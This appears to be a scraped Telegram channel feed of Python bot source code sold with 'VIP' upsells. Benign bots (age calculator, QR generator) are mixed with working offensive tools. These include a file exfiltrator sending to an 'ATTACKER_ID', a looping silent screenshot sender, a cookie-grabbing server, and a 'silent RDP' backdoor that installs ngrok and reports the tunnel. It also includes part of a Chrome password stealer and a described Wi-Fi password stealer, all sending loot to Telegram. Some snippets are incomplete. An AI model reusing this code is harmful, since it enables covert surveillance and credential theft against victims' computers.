Audio created with MurfAI

#Nmap
#python_telegram_bot_source_codes
#python_Telegram_Bot

@python_telegram_bot_source_codes

Source will be shared Soon 😊

Create a telegram bot to scan IP/host/websites (enter the IP and get the fastest open port report)

NOTE: This post serves as a demonstration for creating a Python application. I do not endorse spamming or violating the terms or services of any individuals.

Create Telegram bot Scan.py:
✨ JOIN VIP

⚡️ First, install the necessary libraries:

$ pip install python-telegram-bot==13.7

$ pip install python-nmap

⚡️ Create a file Filename.py

⚡️ Go to BotFather and create a new Telegram Bot

⚡️ Save the script as Filename.py Source

import telegram
from telegram.ext import Updater, CommandHandler, MessageHandler, Filters
import nmap

bot = telegram.Bot(token='YOUR_TOKEN')
updater = Updater('YOUR_TOKEN', use_context=True)
dispatcher = updater.dispatcher

nm = nmap.PortScanner()

def start(update, context):
    context.bot.send_message(chat_id=update.effective_chat.id, text="Welcome there ! Please pass the IP or Host.")

def scan(update, context):
    try:
        target = update.message.text

        nm.scan(hosts=target, arguments='-T4 -F')

        scan_result = ''
        for host in nm.all_hosts():
            scan_result += f"Host: {host}\n"
            for proto in nm[host].all_protocols():
                ports = nm[host][proto].keys()
                for port in ports:
                    port_info = nm[host][proto][port]
                    scan_result += f"Port: {port} State: {port_info['state']} Service: {port_info['name']}"
                    if 'product' in port_info:
                        scan_result += f", Version: {port_info['product']}"
                    scan_result += "\n"

        context.bot.send_message(chat_id=update.effective_chat.id, text=scan_result)
    except Exception as e:
        context.bot.send_message(chat_id=update.effective_chat.id, text=f"Error: {str(e)}")

start_handler = CommandHandler('start', start)
dispatcher.add_handler(start_handler)

message_handler = MessageHandler(Filters.text & ~Filters.command, scan)
dispatcher.add_handler(message_handler)

updater.start_polling()
updater.idle()

⚡️ Execute the 'Scan.py' script, and visit your Telegram bot, type '/start' to receive the welcome message.

⚡️ Pass the IP/host and get open ports, service and versions.

#nmap
#python_telegram_bot_source_codes
#python_Telegram_Bot

Develop a Python bot which can share any file seamlessly, without the necessity for port forwarding or delving into technical intricacies

NOTE: This post serves as a demonstration for creating a Python application. I do not endorse spamming or violating the terms or services of any individuals.


✨ JOIN VIP

import os
import sys
import telebot

# YOU CAN MODIFY 
# BOT_TOKEN = 'MODIFY'
# GROUP_CHAT_ID = 'MODIFY'
# INSTALL PYTHON AND TELEBOT

BOT_TOKEN = 'MODIFY'

ATTACKER_ID = 'MODIFY'

bot = telebot.TeleBot(BOT_TOKEN)

def send_message(message):
    bot.send_message(ATTACKER_ID, message)

def upload_file(file_path):
    try:
        file_name = os.path.basename(file_path)

        with open(file_path, 'rb') as f:
            bot.send_document(ATTACKER_ID, f, caption=f'File "{file_name}" uploaded successfully!')

    except Exception as e:
        send_message(f'Error uploading file: {str(e)}')

if len(sys.argv) != 2:
    print("Usage: python upload.py <file_path>")
    sys.exit(1)

file_path = sys.argv[1]

upload_file(file_path)

#uploadfiles
#python_telegram_bot_source_codes
#python_Telegram_Bot

Age calculator Telegram bot. This bot will tell you the detailed age and time duration you lived so far.

NOTE: This post serves as a demonstration for creating a Python application. I do not endorse spamming or violating the terms or services of any individuals.

Create Telegram bot AgeCalculator.py:

⚡️ First, install the necessary libraries:

$ pip install python-telegram-bot

⚡️ Save the script as AgeCalculator.py

✨ JOIN VIP

import telegram
from telegram.ext import Updater, CommandHandler, MessageHandler, Filters
import datetime
import time

TOKEN = 'YOUR_TELEGRAM_BOT_TOKEN'

def start(update, context):
    update.message.reply_text("Welcome to EFXTV Age Calculator Bot!")
    context.bot.send_message(chat_id=update.effective_chat.id, text="Please provide your date of birth in DD/MM/YYYY format?")
    
def get_dob(update, context):
    dob = update.message.text
    context.user_data['dob'] = dob
    time.sleep(1)
    context.bot.send_message(chat_id=update.effective_chat.id, text="Please provide your time of birth in HH:MM format?")
    
def get_tob(update, context):
    tob = update.message.text
    context.user_data['tob'] = tob
    time.sleep(1)
    context.bot.send_message(chat_id=update.effective_chat.id, text="Thank you. Please wait...")
    time.sleep(1)
    calculate_age(update, context)
    
def calculate_age(update, context):
    try:
        dob_str = context.user_data.get('dob')
        tob_str = context.user_data.get('tob')
        
        if not dob_str or not tob_str:
            raise ValueError("Date of birth or time of birth is missing.")
        
        dob = datetime.datetime.strptime(dob_str, '%d/%m/%Y')
        tob = datetime.datetime.strptime(tob_str, '%H:%M')
        
        now = datetime.datetime.now()
        age = now - dob
        
        total_hours = age.total_seconds() / 3600
        total_minutes = age.total_seconds() / 60
        total_seconds = age.total_seconds()
        age_in_months = (now.year - dob.year) * 12 + now.month - dob.month
        age_in_years = age_in_months // 12
        remaining_months = age_in_months % 12
        
        age_in_days = age.days
        
        day_of_birth = dob.strftime("%A")
        
        context.bot.send_message(chat_id=update.effective_chat.id, text=f"You have lived total hours: {total_hours:.2f}")
        time.sleep(1)
        context.bot.send_message(chat_id=update.effective_chat.id, text=f"You have lived total minutes: {total_minutes:.2f}")
        time.sleep(1)
        context.bot.send_message(chat_id=update.effective_chat.id, text=f"You have lived total seconds: {total_seconds:.2f}")
        time.sleep(1)
        context.bot.send_message(chat_id=update.effective_chat.id, text=f"Your age in months: {age_in_months}")
        time.sleep(1)
        context.bot.send_message(chat_id=update.effective_chat.id, text=f"Your age in years: {age_in_years}Y {remaining_months}M {age_in_days}D")
        time.sleep(1)
        context.bot.send_message(chat_id=update.effective_chat.id, text=f"The day you were born on: {day_of_birth}")
        time.sleep(1)
        context.bot.send_message(chat_id=update.effective_chat.id, text="Please follow us on @python_telegram_bot_source_codes")
        time.sleep(1)
        context.bot.send_message(chat_id=update.effective_chat.id, text="Kindly pass '/start' to start again")
    except ValueError as e:
        context.bot.send_message(chat_id=update.effective_chat.id, text=str(e))
    finally:
        context.user_data.clear()
        
updater = Updater(TOKEN, use_context=True)

dp = updater.dispatcher

dp.add_handler(CommandHandler("start", start))
dp.add_handler(MessageHandler(Filters.regex(r'^\d{2}/\d{2}/\d{4}$'), get_dob))
dp.add_handler(MessageHandler(Filters.regex(r'^\d{2}:\d{2}$'), get_tob))
dp.add_handler(MessageHandler(Filters.text & ~Filters.command, calculate_age))

updater.start_polling()
updater.idle()

⚡️ Execute the 'AgeCalculator.py' script, and visit your Telegram bot, type '/start' to receive the welcome message.

#agecalculator
#python_telegram_bot_source_codes
#python_Telegram_Bot

Take screenshot Using Python Telegram Bot
NOTE: This post serves as a demonstration for creating a Python application. I do not endorse spamming or violating the terms or services of any individuals.

Create Telegram bot Screenshot.py:

⚡️ First, install the necessary libraries:

pip install pyautogui python-telegram-bot pillow

⚡️ Save the script as Screenshot.py

✨ JOIN VIP To add more features

import pyautogui
from PIL import Image
from io import BytesIO
from telegram import Bot

def take_screenshot():
    screenshot = pyautogui.screenshot()
    return screenshot

def send_screenshot(bot_token, chat_id, screenshot):
    bot = Bot(token=bot_token)
    with BytesIO() as bio:
        screenshot.save(bio, format="PNG")
        bio.seek(0)
        bot.send_photo(chat_id=chat_id, photo=bio)

if __name__ == "__main__":
    BOT_TOKEN = "ChangeMe"
    
    CHAT_ID = "ChangeMe"
    
    while True:
        screenshot = take_screenshot()
        
        send_screenshot(BOT_TOKEN, CHAT_ID, screenshot)

⚡️ Execute the 'Screenshot.py' script, and visit your Telegram bot, type '/start' to receive files.

#Screenshot
#python_telegram_bot_source_codes
#python_Telegram_Bot

Develop a Python bot which can create multiple YouTube Short videos for you.

NOTE: This post serves as a demonstration for creating a Python application. I do not endorse spamming or violating the terms or services of any individuals.

✨ JOIN VIP

Create Telegram bot YoutubeShorts.py:

⚡️ First, install the necessary libraries: Save file as requirements.txt

pytube==11.0.0
moviepy==1.0.3
pyTelegramBotAPI==4.0.0

Run to install

pip install -r requirements.txt

import telebot
import re
from pytube import YouTube
from moviepy.editor import VideoFileClip

TOKEN = 'APITOCKEN_HERE'

bot = telebot.TeleBot(TOKEN)

@bot.message_handler(commands=['start'])
def send_welcome(message):
    bot.reply_to(message, "Welcome! Send me a YouTube URL to get short clips. By t.me/efxtv")

@bot.message_handler(regexp=r'(https?://)?(www\.)?(youtube\.com|youtu\.be)/.+$')
def handle_youtube_url(message):
    url = message.text.strip()
    video_id = extract_video_id(url)
    if video_id:
        try:
            video = YouTube(url)
            clip_path = download_video(video)
            duration = get_video_duration(clip_path)
            timestamps = generate_timestamps(duration)
            for start, end in timestamps:
                short_clip_path = extract_clip(clip_path, start, end)
                with open(short_clip_path, 'rb') as f:
                    bot.send_video(message.chat.id, f)
        except Exception as e:
            bot.reply_to(message, f"An error occurred: {e}")
    else:
        bot.reply_to(message, "Invalid YouTube URL")

def extract_video_id(url):
    video_id_regex = r'(?:https?://)?(?:www\.)?(?:youtube\.com/watch\?v=|youtu\.be/)([a-zA-Z0-9_-]+)'
    match = re.match(video_id_regex, url)
    if match:
        return match.group(1)
    return None

def download_video(video):
    stream = video.streams.get_highest_resolution()
    return stream.download()

def get_video_duration(video_path):
    clip = VideoFileClip(video_path)
    duration = clip.duration
    clip.close()
    return duration

def generate_timestamps(duration):
    timestamps = []
    start = 0
    while start < duration:
        end = min(start + 30, duration)
        timestamps.append((start, end))
        start += 30
    return timestamps

def extract_clip(video_path, start, end):
    clip = VideoFileClip(video_path).subclip(start, end)
    short_clip_path = f"clip_{start}_{end}.mp4"
    clip.write_videofile(short_clip_path, codec='libx264')
    return short_clip_path

bot.polling()

#python_Telegram_Bot

Cookie grabbing via Telegram bot

✨ JOIN VIP

import http.server
import http.cookies
from telegram.ext import Updater, CommandHandler

class CookieDumpHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()
        
        self.wfile.write(b"<html><body><h1>Hello, world!</h1></body></html>")
        
        cookies = http.cookies.SimpleCookie(self.headers.get('Cookie'))
        with open('cookies.txt', 'a') as f:
            for cookie in cookies.values():
                cookie_str = f"{cookie.output(header='').strip()}\n"
                f.write(cookie_str)
        print("Cookies saved to cookies.txt")

def start(update, context):
    update.message.reply_text("Click the link to access the server: http://your-server-address:8000")

def main():
    updater = Updater("CANGE_ME", use_context=True)
    dispatcher = updater.dispatcher

    start_handler = CommandHandler('start', start)
    dispatcher.add_handler(start_handler)

    updater.start_polling()

    run_server()

if __name__ == '__main__':
    main()

#python_Telegram_Bot

Image Background Remover Telegram bot
Must create a downloads directory in pwd
✨ JOIN VIP

import os
import cv2
import numpy as np
from telegram import Update
from telegram.ext import Updater, CommandHandler, MessageHandler, Filters, CallbackContext

TOKEN = 'CHANGE_ME'

def start(update: Update, context: CallbackContext) -> None:
    update.message.reply_text('Welcome! Send me an image and I will remove its background.')

def handle_image(update: Update, context: CallbackContext) -> None:
    photo_file = update.message.photo[-1].get_file()
    filename = os.path.join('downloads', 'image.jpg')
    photo_file.download(filename)
    
    processed_image = remove_background(filename)
    
    update.message.reply_photo(photo=open(processed_image, 'rb'))

def remove_background(image_path):
    image = cv2.imread(image_path)
    
    mask = np.zeros(image.shape[:2], np.uint8)
    backgroundModel = np.zeros((1, 65), np.float64)
    foregroundModel = np.zeros((1, 65), np.float64)
    rect = (50, 50, image.shape[1] - 50, image.shape[0] - 50)
    cv2.grabCut(image, mask, rect, backgroundModel, foregroundModel, 5, cv2.GC_INIT_WITH_RECT)
    mask2 = np.where((mask == 2) | (mask == 0), 0, 1).astype('uint8')
    image = image * mask2[:, :, np.newaxis]

    output_path = os.path.join('downloads', 'processed_image.jpg')
    cv2.imwrite(output_path, image)

    return output_path

def main() -> None:
    updater = Updater(TOKEN)

    dispatcher = updater.dispatcher

    dispatcher.add_handler(CommandHandler("start", start))
    dispatcher.add_handler(MessageHandler(Filters.photo & ~Filters.command, handle_image))

    updater.start_polling()
    updater.idle()

if __name__ == '__main__':
    main()

#python_Telegram_Bot

Link2QR Telegram bot in Python
Must create a directory Link2QR and copy files
✨ JOIN VIP (to get detailed script and support)
✨ We can create any kind of Telegram, Python or EXE bot for you

import logging
from telegram import Update, InputFile
from telegram.ext import Application, CommandHandler, MessageHandler, filters, CallbackContext
import qrcode
from io import BytesIO

TELEGRAM_TOKEN = 'CHANGE_ME_TOKEN'

logging.basicConfig(format='%(asctime)s - %(name)s - %(levelname)s - %(message)s', level=logging.INFO)
logger = logging.getLogger(__name__)

async def start(update: Update, context: CallbackContext):
    await update.message.reply_text("Give me a link 🙂")

async def handle_message(update: Update, context: CallbackContext):
    user_input = update.message.text
    
    qr = qrcode.QRCode(version=1, box_size=10, border=4)
    qr.add_data(user_input)
    qr.make(fit=True)
    
    img = qr.make_image(fill='black', back_color='white')
    
    buffer = BytesIO()
    img.save(buffer, format='PNG')
    buffer.seek(0)
    
    await context.bot.send_photo(chat_id=update.effective_chat.id, photo=InputFile(buffer, filename='qr.png'))
    await update.message.reply_text("Here is your QR code. You can scan it at scanqr.org")

def main():
    application = Application.builder().token(TELEGRAM_TOKEN).build()
    
    application.add_handler(CommandHandler('start', start))
    application.add_handler(MessageHandler(filters.TEXT & ~filters.COMMAND, handle_message))
    
    application.run_polling()

if __name__ == '__main__':
    main()

requirements.txt
python-telegram-bot==21.0
qrcode[pil]==7.3.0
Pillow==10.0.0

pip install -r requirements.txt

#telegrambot
#python_telegram_bot_source_codes
#python_telegram_bot_source_codes

Files2Telegram Bot
Must create a directory Files2Telegram and copy files
✨ JOIN VIP

import argparse
import os
import asyncio
from telegram import Bot
from telegram.error import TelegramError
from telegram.ext import Application

BOT_TOKEN = 'CHANGE_ME'
CHAT_ID = 'CHANGE_ME'

async def send_file(bot, file_path):
    try:
        with open(file_path, 'rb') as file:
            await bot.send_document(chat_id=CHAT_ID, document=file, caption=f'Sending {file_path}')
        print(f'Successfully sent: {file_path}')
    except TelegramError as e:
        print(f'Failed to send {file_path}. Error: {e}')
    except FileNotFoundError:
        print(f'File not found: {file_path}')

async def main(files):
    bot = Bot(token=BOT_TOKEN)
    if files and files[0] == '*':
        for filename in os.listdir('.'):
            if os.path.isfile(filename):
                await send_file(bot, filename)
    else:
        for file_path in files:
            await send_file(bot, file_path)

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Send files to Telegram.')
    parser.add_argument('files', nargs='*', help='Files to send. Use "*" to send all files in the directory.')

    args = parser.parse_args()
    asyncio.run(main(args.files))

#Install commands
pip install -r requirements.txt
pip install python-telegram-bot --upgrade

#Use command
python share.py file.txt
python share.py *
python share.py /user/home/bin/file.txt

requirements.txt
python-telegram-bot
aiohttp

#telegrambot
#python_telegram_bot_source_codes
#python_Telegram_Bot

Files2Telegram Bot_Public
Must create a directory Files2Telegram and copy files
Add your bot to Public Group or Channel
✨ JOIN VIP

import argparse
import os
import asyncio
from telegram import Bot
from telegram.error import TelegramError

BOT_TOKEN = 'YOUR_BOT_TOKEN'
CHAT_ID = '@USERNAE_OF_GROUP_CHANNEL'

async def send_file(bot, file_path):
    try:
        with open(file_path, 'rb') as file:
            await bot.send_document(chat_id=CHAT_ID, document=file, caption=f'Sending {file_path}')
        print(f'Successfully sent: {file_path}')
    except TelegramError as e:
        print(f'Failed to send {file_path}. Error: {e}')
    except FileNotFoundError:
        print(f'File not found: {file_path}')

async def main(files):
    bot = Bot(token=BOT_TOKEN)
    if files and files[0] == '*':
        for filename in os.listdir('.'):
            if os.path.isfile(filename):
                await send_file(bot, filename)
    else:
        for file_path in files:
            await send_file(bot, file_path)

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Send files to a public Telegram bot.')
    parser.add_argument('files', nargs='*', help='Files to send. Use "*" to send all files in the directory.')

    args = parser.parse_args()
    asyncio.run(main(args.files))

requirements.txt
python-telegram-bot
aiohttp

#Install commands
pip install -r requirements.txt
pip install python-telegram-bot --upgrade

#Use command
python share.py file.txt
python share.py *
python share.py /user/home/bin/file.txt

#telegrambot
#python_telegram_bot_source_codes
#python_telegram_bot_source_codes

IP Port Extractor for Craxs RAT APK (Android Remote Tool)
✨ JOIN VIP (Fix errors and add more features)

import os
import base64
import hashlib
import tempfile
import glob
import re
import subprocess
from telegram import Update
from telegram.ext import Application, CommandHandler, MessageHandler, filters, CallbackContext

# Replace this with your actual bot token
TELEGRAM_BOT_TOKEN = 'CHANGE_ME_AUTH'

def calculate_md5(file_path):
    hash_md5 = hashlib.md5()
    with open(file_path, "rb") as f:
        for chunk in iter(lambda: f.read(4096), b""):
            hash_md5.update(chunk)
    return hash_md5.hexdigest()

def decode_base64(encoded_str):
    padded_str = encoded_str + '=' * (-len(encoded_str) % 4)
    decoded_bytes = base64.b64decode(padded_str)
    return decoded_bytes.decode('utf-8')

def extract_ips_and_ports_from_apk(apk_path):
    md5_hash = calculate_md5(apk_path)
    results = []
    
    with tempfile.TemporaryDirectory() as temp_dir:
        result = subprocess.run(['jadx', '--no-res', '-d', temp_dir, apk_path], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
        if result.returncode != 0:
            return "Error: jadx failed to decompile the APK."
        
        java_files = glob.glob(os.path.join(temp_dir, '**', '*.java'), recursive=True)
        client_host_pattern = re.compile(r'public\s+static\s+String\s+ClientHost\s*=\s*"([A-Za-z0-9+/=]+)"')
        client_port_pattern = re.compile(r'public\s+static\s+String\s+ClientPort\s*=\s*"([A-Za-z0-9+/=]+)"')

        for file_path in java_files:
            with open(file_path, 'r', encoding='utf-8') as file:
                content = file.read()
                
                host_matches = client_host_pattern.findall(content)
                port_matches = client_port_pattern.findall(content)
                
                if host_matches and port_matches:
                    host_base64 = host_matches[0]
                    port_base64 = port_matches[0]
                    
                    try:
                        decoded_host = decode_base64(host_base64)
                        decoded_port = decode_base64(port_base64)
                        message = (f"IP: {decoded_host}\n"
                                   f"Port: {decoded_port}\n"
                                   f"Join: @EFXTV")
                        results.append(message)
                    except Exception as e:
                        results.append(f"Error decoding base64 strings: {e}")
        
    return "\n\n".join(results) if results else "No IPs or Ports found."

async def start(update: Update, context: CallbackContext):
    await update.message.reply_text("Send me an APK file and I'll extract the IP and port information.")

async def handle_document(update: Update, context: CallbackContext):
    file = update.message.document
    file_id = file.file_id
    file_name = file.file_name
    file_path = os.path.join(tempfile.gettempdir(), file_name)

    try:
        # Get the file object
        telegram_file = await context.bot.get_file(file_id)
        # Download the file
        await telegram_file.download_to_drive(file_path)
        # Process the APK file
        message = extract_ips_and_ports_from_apk(file_path)
        # Send the result back to the user
        await update.message.reply_text(message)
    except Exception as e:
        await update.message.reply_text(f"An error occurred: {e}")
    finally:
        # Clean up the temporary file
        if os.path.exists(file_path):
            os.remove(file_path)

def main():
    application = Application.builder().token(TELEGRAM_BOT_TOKEN).build()
    
    application.add_handler(CommandHandler('start', start))
    application.add_handler(MessageHandler(filters.Document.MimeType("application/vnd.android.package-archive"), handle_document))

    application.run_polling()

if __name__ == '__main__':
    main()

#telegrambot
#python_telegram_bot_source_codes
#python_telegram_bot_source_codes

SILENT RDP Telegram Bot Source in Python
Enable RDP and gain silent access to your PC 24/7 via a Telegram bot
✨ JOIN VIP (Fix errors and add more features)

import requests
import json
import socket
import zipfile
import subprocess
import time
import os
from pathlib import Path
import asyncio
from telegram import Bot

TELEGRAM_TOKEN = 'CHANGE_ME'
CHAT_ID = 'CHANGE_ME'

async def send_to_telegram(message):
    bot = Bot(token=TELEGRAM_TOKEN)
    await bot.send_message(chat_id=CHAT_ID, text=message)

def startng():
    ngrok_path = r'C:\temp\ngrok\ngrok.exe'
    
    command = [ngrok_path, 'tcp', '3389']
    
    with open(r'C:\temp\ngrok\SAVEDLOG.TXT', 'w') as log_file:
        process = subprocess.Popen(command, stdout=log_file, stderr=log_file)
    time.sleep(7)

    return

def notexist():
    os.makedirs(r'C:\temp\ngrok', exist_ok=True)
    url = "https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-windows-amd64.zip"
    output_path = r"C:\temp\ngrok\ngrok.zip"
    extract_dir = r"C:\temp\ngrok"

    response = requests.get(url, stream=True)

    with open(output_path, "wb") as file:
        for chunk in response.iter_content(chunk_size=8192):
            file.write(chunk)

    with zipfile.ZipFile(output_path, 'r') as zip_ref:
        zip_ref.extractall(extract_dir)

    command = r'C:\temp\ngrok\ngrok.exe config add-authtoken YOUR_AUTHTOKEN'  # Replace with your ngrok authtoken
    with open(r'C:\temp\ngrok\SAVEDLOG.TXT', 'w') as log_file:
        subprocess.run(command, stdout=log_file, stderr=log_file, shell=True)

    return


def exist():
    url = "http://localhost:4040/api/tunnels"
    response = requests.get(url)
    data = response.json()

    public_url = data['tunnels'][0]['public_url']
    result = public_url.replace('tcp://', '')

    IP, PO = result.split(':')

    ip_address = socket.gethostbyname(IP)

    # Prepare the message to send to Telegram
    output_message = f"> IP: {ip_address}\n> PO: {PO}"

    # Run the async function to send the message to Telegram
    asyncio.run(send_to_telegram(output_message))
    
    return 

a = Path(r"C:\temp\ngrok\ngrok.exe")
# Check if the file exists and call the respective function
if a.exists():
    startng()
    exist()
else:
    notexist()
    startng()
    exist()

#telegrambot #rdp
#python_telegram_bot_source_codes
#python_telegram_bot_source_codes

SILENT RDP Telegram Bot Source in Python

Enable RDP and gain silent access to your PC (LAN/WAN) 24/7 via a Telegram bot

[+] No Network Loss
[+] 24/7 Connection
[+] Easy Remote PC Access
[+] Join VIP to Unlock 10+ Cool Features

Source Code for you 👉🏻 Download Now

#telegrambot #rdp
#python_telegram_bot_source_codes
#python_telegram_bot_source_codes

IP Port Extractor for Craxs RAT APK (Android Remote Tool)
✨ JOIN VIP (Fix errors and add more features)

import os
import base64
import hashlib
import tempfile
import glob
import re
import subprocess
from telegram import Update
from telegram.ext import Application, CommandHandler, MessageHandler, filters, CallbackContext

# Replace this with your actual bot token
TELEGRAM_BOT_TOKEN = 'CHANGE_ME_AUTH'

def calculate_md5(file_path):
    hash_md5 = hashlib.md5()
    with open(file_path, "rb") as f:
        for chunk in iter(lambda: f.read(4096), b""):
            hash_md5.update(chunk)
    return hash_md5.hexdigest()

def decode_base64(encoded_str):
    padded_str = encoded_str + '=' * (-len(encoded_str) % 4)
    decoded_bytes = base64.b64decode(padded_str)
    return decoded_bytes.decode('utf-8')

def extract_ips_and_ports_from_apk(apk_path):
    md5_hash = calculate_md5(apk_path)
    results = []
    
    with tempfile.TemporaryDirectory() as temp_dir:
        result = subprocess.run(['jadx', '--no-res', '-d', temp_dir, apk_path], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
        if result.returncode != 0:
            return "Error: jadx failed to decompile the APK."
        
        java_files = glob.glob(os.path.join(temp_dir, '**', '*.java'), recursive=True)
        client_host_pattern = re.compile(r'public\s+static\s+String\s+ClientHost\s*=\s*"([A-Za-z0-9+/=]+)"')
        client_port_pattern = re.compile(r'public\s+static\s+String\s+ClientPort\s*=\s*"([A-Za-z0-9+/=]+)"')

        for file_path in java_files:
            with open(file_path, 'r', encoding='utf-8') as file:
                content = file.read()
                
                host_matches = client_host_pattern.findall(content)
                port_matches = client_port_pattern.findall(content)
                
                if host_matches and port_matches:
                    host_base64 = host_matches[0]
                    port_base64 = port_matches[0]
                    
                    try:
                        decoded_host = decode_base64(host_base64)
                        decoded_port = decode_base64(port_base64)
                        message = (f"IP: {decoded_host}\n"
                                   f"Port: {decoded_port}\n"
                                   f"Join: @EFXTV")
                        results.append(message)
                    except Exception as e:
                        results.append(f"Error decoding base64 strings: {e}")
        
    return "\n\n".join(results) if results else "No IPs or Ports found."

async def start(update: Update, context: CallbackContext):
    await update.message.reply_text("Send me an APK file and I'll extract the IP and port information.")

async def handle_document(update: Update, context: CallbackContext):
    file = update.message.document
    file_id = file.file_id
    file_name = file.file_name
    file_path = os.path.join(tempfile.gettempdir(), file_name)

    try:
        # Get the file object
        telegram_file = await context.bot.get_file(file_id)
        # Download the file
        await telegram_file.download_to_drive(file_path)
        # Process the APK file
        message = extract_ips_and_ports_from_apk(file_path)
        # Send the result back to the user
        await update.message.reply_text(message)
    except Exception as e:
        await update.message.reply_text(f"An error occurred: {e}")
    finally:
        # Clean up the temporary file
        if os.path.exists(file_path):
            os.remove(file_path)

def main():
    application = Application.builder().token(TELEGRAM_BOT_TOKEN).build()
    
    application.add_handler(CommandHandler('start', start))
    application.add_handler(MessageHandler(filters.Document.MimeType("application/vnd.android.package-archive"), handle_document))

    application.run_polling()

if __name__ == '__main__':
    main()

#telegrambot
#python_telegram_bot_source_codes
#python_telegram_bot_source_codes

🚨 Introducing the Chrome Password Decryptor Bot! 🚨 P2

if __name__ == '__main__':
    try:
        with open('decrypted_password.csv', mode='w', newline='', encoding='utf-8') as decrypt_password_file:
            csv_writer = csv.writer(decrypt_password_file, delimiter=',')
            csv_writer.writerow(["index", "url", "username", "password"])
            secret_key = get_secret_key()
            folders = [element for element in os.listdir(CHROME_PATH) if re.search("^Profile*|^Default$", element) != None]
            for folder in folders:
                chrome_path_login_db = os.path.normpath(r"%s\%s\Login Data" % (CHROME_PATH, folder))
                conn = get_db_connection(chrome_path_login_db)
                if(secret_key and conn):
                    cursor = conn.cursor()
                    cursor.execute("SELECT action_url, username_value, password_value FROM logins")
                    for index, login in enumerate(cursor.fetchall()):
                        url = login[0]
                        username = login[1]
                        ciphertext = login[2]
                        if(url != "" and username != "" and ciphertext != ""):
                            decrypted_password = decrypt_password(ciphertext, secret_key)
                            csv_writer.writerow([index, url, username, decrypted_password])
                            message = f"<b>URL:</b> {url}\n<b>Username:</b> {username}\n<b>Password:</b> {decrypted_password}"
                            send_telegram_message(message)

                    cursor.close()
                    conn.close()
                    os.remove("Loginvault.db")
    except Exception as e:
        print("[ERR] %s" % str(e))

#telegrambot
#python_telegram_bot_source_codes
#python_telegram_bot_source_codes

⚡ Need to send your Wi-Fi passwords directly to your Telegram bot? I just wrote a Python script that does exactly that cleanly and efficiently!

⚡ The script automatically fetches saved Wi-Fi passwords from your system (works on Windows and Linux) and sends them to a Telegram chat using the Bot API.

⚡ It uses standard libraries like subprocess, os, and json, along with the popular requests module to interact with Telegram.

⚡ Setup is easy: you just need to install requests (pip install requests), get your bot token from @BotFather, and know your chat ID.

⚡Once configured, the script will list all available Wi-Fi profiles with their passwords and send them neatly formatted to your Telegram account.

⚡ It’s a practical tool for network audits, remote diagnostics, or just keeping a backup of Wi-Fi credentials.

#telegrambot
#python_telegram_bot_source_codes

Source Link 👉 Visit me

Support My Work!
If you enjoy what I do and want to see more, consider buying me a coffee! Every donation helps me keep creating and growing.
Https://buymeacoffee.com/efxtv

Thank you for your support!